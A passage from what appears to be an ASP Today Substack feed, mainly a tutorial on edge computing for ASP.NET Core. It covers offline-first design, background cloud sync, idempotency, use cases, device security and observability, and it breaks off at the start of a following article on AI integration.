data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!rCs1!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73cc23c4-4834-4591-89d7-97e9ec5fc636_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!rCs1!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73cc23c4-4834-4591-89d7-97e9ec5fc636_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!rCs1!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73cc23c4-4834-4591-89d7-97e9ec5fc636_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!rCs1!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73cc23c4-4834-4591-89d7-97e9ec5fc636_1672x941.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!rCs1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73cc23c4-4834-4591-89d7-97e9ec5fc636_1672x941.png" width="1456" height="819" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/73cc23c4-4834-4591-89d7-97e9ec5fc636_1672x941.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:2586682,&quot;alt&quot;:&quot;Remote mountain sensors process data locally at an edge station before syncing with the cloud. &quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/210442196?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73cc23c4-4834-4591-89d7-97e9ec5fc636_1672x941.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Remote mountain sensors process data locally at an edge station before syncing with the cloud. " title="Remote mountain sensors process data locally at an edge station before syncing with the cloud. " srcset="https://substackcdn.com/image/fetch/$s_!rCs1!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73cc23c4-4834-4591-89d7-97e9ec5fc636_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!rCs1!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73cc23c4-4834-4591-89d7-97e9ec5fc636_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!rCs1!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73cc23c4-4834-4591-89d7-97e9ec5fc636_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!rCs1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73cc23c4-4834-4591-89d7-97e9ec5fc636_1672x941.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>In this guide, we&#8217;ll explore what edge computing means for <a href="https://www.asptoday.com/p/introduction-to-aspnet-core-whats-new-and-why-it-matters">ASP.NET Core</a> developers, where it makes sense, how edge and cloud systems work together, and how to design practical applications that remain fast, secure, and resilient. </p><h2>What Does &#8220;The Edge&#8221; Actually Mean?</h2><p>We&#8217;ve spent years moving applications into the cloud.</p><p>Now we&#8217;re talking about moving some of them back?</p><p>Not exactly.</p><p>Edge computing does not mean abandoning the cloud. It means deciding <strong>where each piece of work should happen</strong>.</p><p>Imagine a factory in Germany sending sensor readings to a cloud data center hundreds of kilometers away. If every machine decision requires a round trip to that cloud, network latency and connectivity become part of the production process.</p><p>Instead, the factory can run some application services locally.</p><p>Those services process important information immediately and send selected data to the cloud afterward.</p><p>That local computing environment is the edge.</p><p>The edge could be a small server in a factory, a computer inside a retail store, an industrial gateway, a regional data center, or another computing system located near the source of the data.</p><p>The exact hardware matters less than the architectural idea.</p><p><strong>Move time-sensitive processing closer to where the data is created or consumed. </strong></p><h2>Cloud Computing vs Edge Computing</h2><p>Traditional cloud architecture often looks like this:</p><pre><code><code>Device
   &#9474;
   &#9474; Internet
   &#9660;
Cloud Application
   &#9474;
   &#9660;
Cloud Database</code></code></pre><p>Every important operation depends on reaching the cloud.</p><p>An edge architecture introduces another layer:</p><pre><code><code>Device
   &#9474;
   &#9660;
Edge Application
   &#9474;
   &#9500;&#9472;&#9472; Local Processing
   &#9500;&#9472;&#9472; Local Storage
   &#9492;&#9472;&#9472; Immediate Decisions
   &#9474;
   &#9474; Internet
   &#9660;
Cloud Platform</code></code></pre><p>The edge handles work that benefits from being local.</p><p>The cloud continues handling workloads that benefit from centralized infrastructure.</p><p>This distinction is important because edge computing and cloud computing are not competitors. In most real applications, they complement each other. </p><h2>Why Put ASP.NET Core at the Edge?</h2><p>ASP.NET Core is well suited to many edge scenarios because .NET runs across Windows and Linux, can be deployed in containers, provides high-performance web APIs, and includes mature support for <a href="https://www.asptoday.com/p/dependency-injection-in-aspnet-core">dependency injection</a>, configuration, background services, security, and observability.</p><p>An ASP.NET Core application running at an edge location might expose APIs to local devices, process incoming information, store temporary data, make immediate decisions, and periodically communicate with cloud services.</p><p>Developers can use many of the same programming patterns they already know.</p><p>The biggest difference is the environment.</p><p>At the edge, you cannot assume the network is always available. </p><h2>The Latency Problem</h2><p>Latency is the delay between sending a request and receiving a response.</p><p>For many business applications, a little network latency is perfectly acceptable.</p><p>If someone requests a monthly sales report, an extra fraction of a second probably does not matter.</p><p>But consider a manufacturing system detecting a dangerous machine condition.</p><p>Waiting for:</p><pre><code><code>Machine
   &#8595;
Internet
   &#8595;
Cloud
   &#8595;
Analysis
   &#8595;
Internet
   &#8595;
Machine</code></code></pre><p>may be unnecessary when the decision could happen locally.</p><p>With edge processing:</p><pre><code><code>Machine
   &#8595;
Local ASP.NET Core Service
   &#8595;
Immediate Response</code></code></pre><p>The cloud can receive the event afterward for analytics, reporting, and long-term storage. </p><h2>Edge Computing Is About More Than Speed</h2><p>Latency receives most of the attention, but it is only one reason to use edge computing.</p><p>Connectivity is another.</p><p>Imagine a delivery warehouse where handheld scanners depend entirely on a cloud API.</p><p>If the internet connection fails, workers may no longer be able to:</p><ul><li><p>Scan packages</p></li><li><p>Locate inventory</p></li><li><p>Confirm collections</p></li><li><p>Record deliveries</p></li></ul><p>An edge service inside the warehouse can keep those operations running locally.</p><p>When connectivity returns, the edge system synchronizes its data with the cloud.</p><p>That is a major architectural advantage. </p><h2>Designing for Intermittent Connectivity</h2><p>Cloud applications are often designed around an assumption:</p><blockquote><p>The network is available.</p></blockquote><p>Edge applications should make the opposite assumption:</p><blockquote><p>The network will eventually fail.</p></blockquote><p>That changes how we design software.</p><p>Instead of immediately sending every operation to the cloud, an edge application may record work locally.</p><p>For example:</p><pre><code><code>public async Task RecordScanAsync(PackageScan scan)
{
    await _localRepository.SaveAsync(scan);

    await _syncQueue.EnqueueAsync(scan.Id);
}</code></code></pre><p>The scan succeeds locally.</p><p>A background process can attempt cloud synchronization separately.</p><p>This prevents temporary connectivity problems from stopping the user&#8217;s work. </p><h2>Background Synchronization</h2><p>ASP.NET Core&#8217;s hosted services are useful for synchronization workloads.</p><p>A simplified worker might look like this:</p><pre><code><code>public class CloudSyncWorker : BackgroundService
{
    private readonly ISyncService _syncService;

    public CloudSyncWorker(ISyncService syncService)
    {
        _syncService = syncService;
    }

    protected override async Task ExecuteAsync(
        CancellationToken stoppingToken)
    {
        while (!stoppingToken.IsCancellationRequested)
        {
            await _syncService.PushPendingChangesAsync(
                stoppingToken);

            await Task.Delay(
                TimeSpan.FromSeconds(30),
                stoppingToken);
        }
    }
}</code></code></pre><p>Production synchronization is more complicated, but the pattern is straightforward.</p><p>Perform the user&#8217;s work locally first.</p><p>Synchronize with the central platform when possible.</p><h2>Local Storage at the Edge</h2><p>Once an application can operate offline, it usually needs local storage.</p><p>Depending on the workload, that might include a relational database, embedded database, local files, cache, or message queue.</p><p>The edge service might store:</p><ul><li><p>Pending transactions</p></li><li><p>Device readings</p></li><li><p>Configuration</p></li><li><p>Product information</p></li><li><p>Inventory data</p></li><li><p>Synchronization state</p></li></ul><p>The important question is not simply what database to choose.</p><p>You must decide <strong>which data belongs at the edge and which data remains authoritative in the cloud</strong>.</p><p>That distinction prevents synchronization from becoming chaotic. </p><h2>Data Synchronization Gets Complicated</h2><p>Suppose a retail store loses its internet connection.</p><p>While offline, the store sells the final item in stock.</p><p>At the same time, the online store sells what it believes is the same final item.</p><p>When the connection returns, two valid systems disagree.</p><p>Which one wins?</p><p>This is a synchronization conflict.</p><p>Edge systems need explicit rules for situations like this.</p><p>Possible strategies include timestamps, version numbers, optimistic concurrency, business-specific conflict resolution, or manual review.</p><p>There is no universal answer.</p><p>The correct strategy depends on what the data represents. </p><h2>Idempotency Matters Again</h2><p>Our earlier discussion of idempotency becomes particularly useful at the edge.</p><p>Suppose an edge application sends an order to the cloud.</p><p>The cloud processes it successfully, but the network disconnects before the edge receives the response.</p><p>Did the operation succeed?</p><p>The edge cannot know.</p><p>If it blindly retries, the customer could receive two orders.</p><p>An idempotency key allows the cloud service to recognize the repeated operation.</p><p>For example:</p><pre><code><code>POST /orders
Idempotency-Key: 91d57e2f-2e8a-4b11</code></code></pre><p>If the same request arrives again, the server can return the previous result rather than creating another order.</p><p>Reliable synchronization depends heavily on patterns like this. </p><h2>Practical Use Case: Manufacturing</h2><p>Factories are a natural environment for edge computing.</p><p>Modern equipment can generate enormous streams of sensor data.</p><p>Sending every temperature reading, vibration measurement, and machine event to the cloud may be unnecessary.</p><p>An edge ASP.NET Core application can collect the readings locally.</p><p>It can detect abnormal conditions immediately.</p><p>For example:</p><pre><code><code>if (reading.Temperature &gt; safetyLimit)
{
    await _machineController.StopAsync();
}</code></code></pre><p>The edge application reacts immediately.</p><p>Meanwhile, summarized measurements and important events can still be sent to the cloud for long-term analytics. </p><h2>Practical Use Case: Retail Stores</h2><p>Imagine a supermarket with:</p><ul><li><p>Checkout systems</p></li><li><p>Barcode scanners</p></li><li><p>Electronic price displays</p></li><li><p>Inventory terminals</p></li></ul><p>If every interaction depends on the internet, a network outage could disrupt the entire store.</p><p>A local ASP.NET Core service can maintain essential product and pricing information.</p><p>Checkout operations continue.</p><p>Transactions are queued.</p><p>When connectivity returns, the store synchronizes with central systems.</p><p>The cloud still provides centralized management, but the store is no longer completely dependent on it. </p><h2>Practical Use Case: Logistics</h2><p>Delivery and logistics systems are another excellent example.</p><p>Warehouses may process thousands of package scans every hour.</p><p>A local edge application can validate scans, update warehouse state, coordinate sorting equipment, and maintain operations even during temporary cloud outages.</p><p>The central platform receives synchronized events as connectivity permits.</p><p>The warehouse gets responsiveness.</p><p>Head office gets centralized visibility.</p><p>Both benefit. </p><h2>Practical Use Case: Remote Locations</h2><p>Not every application runs in a city with excellent connectivity.</p><p>Consider:</p><ul><li><p>Ships</p></li><li><p>Mines</p></li><li><p>Farms</p></li><li><p>Construction sites</p></li><li><p>Remote energy facilities</p></li></ul><p>Network connections may be slow, expensive, intermittent, or unavailable.</p><p>Edge computing allows important operations to continue locally.</p><p>The cloud becomes a synchronization and management layer rather than a constant dependency. </p><h2>Edge AI</h2><p>Our previous article explored integrating AI and machine learning with ASP.NET Core.</p><p>Edge computing adds another interesting possibility.</p><p>Some AI inference can happen locally.</p><p>Imagine a manufacturing camera inspecting products on a conveyor belt.</p><p>Sending every image to the cloud introduces bandwidth usage and delay.</p><p>Instead, a local model can inspect the image.</p><p>Only unusual results might be uploaded.</p><p>The workflow becomes:</p><pre><code><code>Camera
   &#8595;
Edge AI Model
   &#8595;
ASP.NET Core Service
   &#8595;
Immediate Decision
   &#8595;
Selected Results
   &#8595;
Cloud</code></code></pre><p>This combination of AI and edge computing can be particularly useful when low latency, privacy, or bandwidth efficiency matters. </p><h2>Containers at the Edge</h2><p>Containers make edge deployment much easier.</p><p>An ASP.NET Core service can be packaged into a container and deployed consistently across many locations.</p><p>The same application image might run in:</p><ul><li><p>50 stores</p></li><li><p>200 warehouses</p></li><li><p>1,000 industrial sites</p></li></ul><p>Containers provide consistency, but deployment at this scale creates another challenge.</p><p>How do you update all those locations safely? </p><h2>Managing Edge Deployments</h2><p>Centralized management is essential.</p><p>You need to know:</p><ul><li><p>Which application version each location runs</p></li><li><p>Whether deployments succeeded</p></li><li><p>Which devices are online</p></li><li><p>Whether an edge node is healthy</p></li><li><p>When updates failed</p></li></ul><p>Updates should also tolerate interruptions.</p><p>If connectivity disappears halfway through an upgrade, the site should not become unusable.</p><p>Versioned deployments and rollback strategies become especially important. </p><h2>Security at the Edge</h2><p>Edge computing changes your security boundary.</p><p>A cloud server usually lives inside a carefully controlled data center.</p><p>An edge server might live:</p><ul><li><p>Behind a checkout counter</p></li><li><p>Inside a warehouse</p></li><li><p>On a factory floor</p></li><li><p>In a remote cabinet</p></li></ul><p>Someone may be able to physically access it.</p><p>That means security must account for both network and physical threats.</p><p>Sensitive information stored locally should be protected appropriately, credentials should not be hardcoded into deployments, and each edge node should have a strong identity. </p><h2>Zero Trust at the Edge</h2><p>Our earlier Zero Trust discussion applies particularly well here.</p><p>The cloud should not automatically trust an edge device simply because it belongs to the company.</p><p>Each device or service should authenticate itself.</p><p>Likewise, edge services should verify cloud endpoints.</p><p>This can involve certificates, managed identities where supported, short-lived credentials, or other workload identity mechanisms.</p><p>The principle remains simple:</p><p><strong>Verify the identity of every participant rather than trusting its network location. </strong></p><h2>Protecting Local Data</h2><p>Edge systems sometimes contain sensitive information.</p><p>That data may include:</p><ul><li><p>Customer details</p></li><li><p>Transactions</p></li><li><p>Operational information</p></li><li><p><a href="https://www.asptoday.com/p/advanced-authentication-patterns">Authentication</a> credentials</p></li></ul><p>Encryption at rest becomes important, especially when hardware could be lost or stolen. </p><p>Data retention should also be considered carefully. </p><p>If an edge node only needs seven days of local information, keeping six months may create unnecessary risk. </p><p>Store only what the edge actually needs.  </p><h2>Observability at the Edge</h2><p>Monitoring a cloud application is relatively straightforward because the infrastructure is continuously connected.</p><p>Edge environments are different.</p><p>A node might disappear for hours.</p><p>Does that mean the application failed?</p><p>Or did the internet connection fail?</p><p>Your observability strategy needs to distinguish between the two.</p><p>Useful signals include:</p><ul><li><p>Application <a href="https://www.asptoday.com/p/aspnet-core-health-checks-keeping">health</a></p></li><li><p>CPU and memory usage</p></li><li><p>Synchronization backlog</p></li><li><p>Last successful cloud connection</p></li><li><p>Local storage capacity</p></li><li><p>Application version</p></li></ul><p>When connectivity returns, telemetry may also need to be uploaded in batches. </p><h2>Distributed Tracing</h2><p><a href="https://www.asptoday.com/p/deep-dive-into-distributed-tracing">Distributed tracing</a> becomes interesting when a request begins at the edge and continues in the cloud.</p><p>A correlation or trace identifier can follow the operation across both environments.</p><p>For example:</p><pre><code><code>Warehouse Scanner
      &#8595;
Edge API
      &#8595;
Local Queue
      &#8595;
Cloud Sync
      &#8595;
Order API
      &#8595;
Inventory Service</code></code></pre><p>A distributed trace helps developers understand the complete journey.</p><p>OpenTelemetry remains valuable here, although telemetry collection needs to account for intermittent connections and buffering. </p><h2>API Gateways and Edge Computing</h2><p>Our recent API Gateway article focused on providing a central entrance to backend services.</p><p>Edge architectures may introduce gateways at multiple levels.</p><p>A local gateway might route requests between devices and edge services.</p><p>A cloud gateway handles requests entering the central platform.</p><p>The architecture could resemble:</p><pre><code><code>Local Devices
      &#8595;
Edge Gateway
      &#8595;
ASP.NET Core Edge Services
      &#8595;
Cloud API Gateway
      &#8595;
Cloud Microservices</code></code></pre><p>The same architectural concepts appear at different physical locations. </p><h2>Service Meshes at the Edge</h2><p>Our previous article explored service meshes.</p><p>In larger edge installations with multiple local services, mesh-style capabilities may also be useful for secure service-to-service communication, traffic management, and observability.</p><p>However, complexity matters.</p><p>A small store running two services probably does not need the same infrastructure as a <a href="https://www.asptoday.com/p/aspnet-core-and-kubernetes-from-development">Kubernetes cluster</a> running hundreds of microservices.</p><p>Edge architecture rewards simplicity.</p><p>Every extra component must operate when connectivity is poor and remote troubleshooting is difficult. </p><h2>What Should Stay in the Cloud?</h2><p>Edge computing does not mean moving everything locally.</p><p>Centralized workloads often belong in the cloud.</p><p>Examples include:</p><ul><li><p>Organization-wide analytics</p></li><li><p>Long-term storage</p></li><li><p>Central reporting</p></li><li><p>Model training</p></li><li><p>Cross-location coordination</p></li><li><p>Large-scale batch processing</p></li></ul><p>The edge should handle workloads that genuinely benefit from proximity.</p><p>A useful question is:</p><blockquote><p>What breaks if the connection to the cloud disappears for an hour?</p></blockquote><p>The answer often reveals which capabilities belong locally.  </p><h2>Avoiding the &#8220;Mini Cloud Everywhere&#8221; Trap</h2><p>A common mistake is recreating the entire cloud platform at every edge location.</p><p>That can become extremely expensive and difficult to operate.</p><p>Imagine maintaining dozens of databases, message brokers, monitoring systems, gateways, and orchestration platforms across hundreds of locations.</p><p>The operational burden grows quickly.</p><p>Instead, keep edge environments focused.</p><p>Run only the services necessary for local operation.</p><p>Centralize everything else where practical. </p><h2>A Complete Edge Architecture</h2><p>Imagine a chain of smart manufacturing facilities.</p><p>Each factory runs an ASP.NET Core edge service.</p><p>Locally it:</p><ul><li><p>Receives machine telemetry.</p></li><li><p>Stores recent readings.</p></li><li><p>Detects safety conditions.</p></li><li><p>Controls local workflows.</p></li><li><p>Queues cloud synchronization.</p></li></ul><p>The cloud platform:</p><ul><li><p>Stores long-term data.</p></li><li><p>Compares performance across factories.</p></li><li><p>Trains predictive models.</p></li><li><p>Distributes configuration.</p></li><li><p>Provides central dashboards.</p></li></ul><p>The two layers work together.</p><p>If the cloud disappears temporarily, the factory keeps operating.</p><p>When connectivity returns, synchronization resumes.</p><p>That is the real strength of edge architecture. </p><h2>When You Probably Don&#8217;t Need Edge Computing</h2><p>Not every application needs an edge layer.</p><p>A traditional business website serving users over the internet may work perfectly well from cloud infrastructure.</p><p>Adding edge services introduces:</p><ul><li><p>Deployment complexity</p></li><li><p>Synchronization challenges</p></li><li><p>Additional security concerns</p></li><li><p>Remote monitoring requirements</p></li><li><p>More infrastructure to maintain</p></li></ul><p>Use edge computing when there is a clear reason.</p><p>Low latency, intermittent connectivity, local autonomy, privacy, or bandwidth constraints are good reasons.</p><p>&#8220;Edge is popular&#8221; is not. </p><h2>How This Fits Your ASP.NET Core Journey</h2><p>Our recent articles have gradually expanded the boundaries of an ASP.NET Core application.</p><p>We started with services and distributed architecture.</p><p>Then we explored API Gateways for managing incoming traffic.</p><p>Service meshes helped manage communication inside the platform.</p><p>AI and machine learning introduced intelligent processing.</p><p>Now edge computing asks a different architectural question:</p><p><strong>Where should that processing actually happen?</strong></p><p>Sometimes the answer is the cloud.</p><p>Sometimes it is a server sitting meters away from the user or machine.</p><p>Increasingly, the answer is both. </p><h2>Closing Thoughts</h2><p>Edge computing is less about a particular technology and more about making intelligent decisions about where software should run.</p><p>ASP.NET Core gives .NET developers a strong foundation for building edge services because the same APIs, dependency injection patterns, background workers, security practices, and observability tools used in cloud applications can also be applied closer to users and devices. </p><p>The architectural challenge is learning to design for a world where connectivity is not guaranteed. Applications need local autonomy, reliable synchronization, secure device identities, careful data management, and strong observability.</p><p>When those pieces come together, edge computing allows cloud and local infrastructure to complement each other rather than compete.</p><p>The cloud provides scale and centralized intelligence.</p><p>The edge provides proximity and independence.</p><p>Together, they can create ASP.NET Core applications that keep working exactly where they&#8217;re needed most. </p><h2>Subscribe Now</h2><p>Enjoying the series? Subscribe to <strong><a href="https://www.asptoday.com/">ASP Today</a></strong> for practical ASP.NET Core tutorials, cloud-native architecture guides, and real-world development strategies. Join our Substack Chat to discuss modern .NET development, share ideas, and connect with developers building the next generation of applications. </p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.asptoday.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.asptoday.com/subscribe?"><span>Subscribe now</span></a></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p> </p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p>]]></content:encoded></item><item><title><![CDATA[Integrating AI and Machine Learning in ASP.NET Core Applications: Practical Use Cases]]></title><description><![CDATA[Discover practical ways to integrate AI and machine learning into ASP.NET Core applications using ML.NET, Azure AI, OpenAI APIs, and real-world automation. #ASPToday #aspnetcore #artificialintelligence #machinelearning #dotnet]]></description><link>https://www.asptoday.com/p/integrating-ai-and-machine-learning</link><guid isPermaLink="false">https://www.asptoday.com/p/integrating-ai-and-machine-learning</guid><dc:creator><![CDATA[Jenny Muralidharan]]></dc:creator><pubDate>Tue, 04 Aug 2026 15:02:32 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!UxDz!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2f13a1a-4074-4749-bc63-b52067de0001_1672x941.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Artificial Intelligence has rapidly moved from research labs into everyday business software. From intelligent search and chatbots to fraud detection and document analysis, AI is becoming an essential capability rather than a luxury feature.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!UxDz!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2f13a1a-4074-4749-bc63-b52067de0001_1672x941.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!UxDz!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2f13a1a-4074-4749-bc63-b52067de0001_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!UxDz!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2f13a1a-4074-4749-bc63-b52067de0001_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!UxDz!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2f13a1a-4074-4749-bc63-b52067de0001_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!UxDz!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2f13a1a-4074-4749-bc63-b52067de0001_1672x941.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!UxDz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2f13a1a-4074-4749-bc63-b52067de0001_1672x941.png" width="1456" height="819" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e2f13a1a-4074-4749-bc63-b52067de0001_1672x941.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:2088716,&quot;alt&quot;:&quot;Engineers integrate AI services into an ASP.NET Core application using intelligent automation. &quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/209463430?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2f13a1a-4074-4749-bc63-b52067de0001_1672x941.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Engineers integrate AI services into an ASP.NET Core application using intelligent automation. " title="Engineers integrate AI services into an ASP.NET Core application using intelligent automation. " srcset="https://substackcdn.com/image/fetch/$s_!UxDz!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2f13a1a-4074-4749-bc63-b52067de0001_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!UxDz!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2f13a1a-4074-4749-bc63-b52067de0001_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!UxDz!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2f13a1a-4074-4749-bc63-b52067de0001_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!UxDz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2f13a1a-4074-4749-bc63-b52067de0001_1672x941.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" 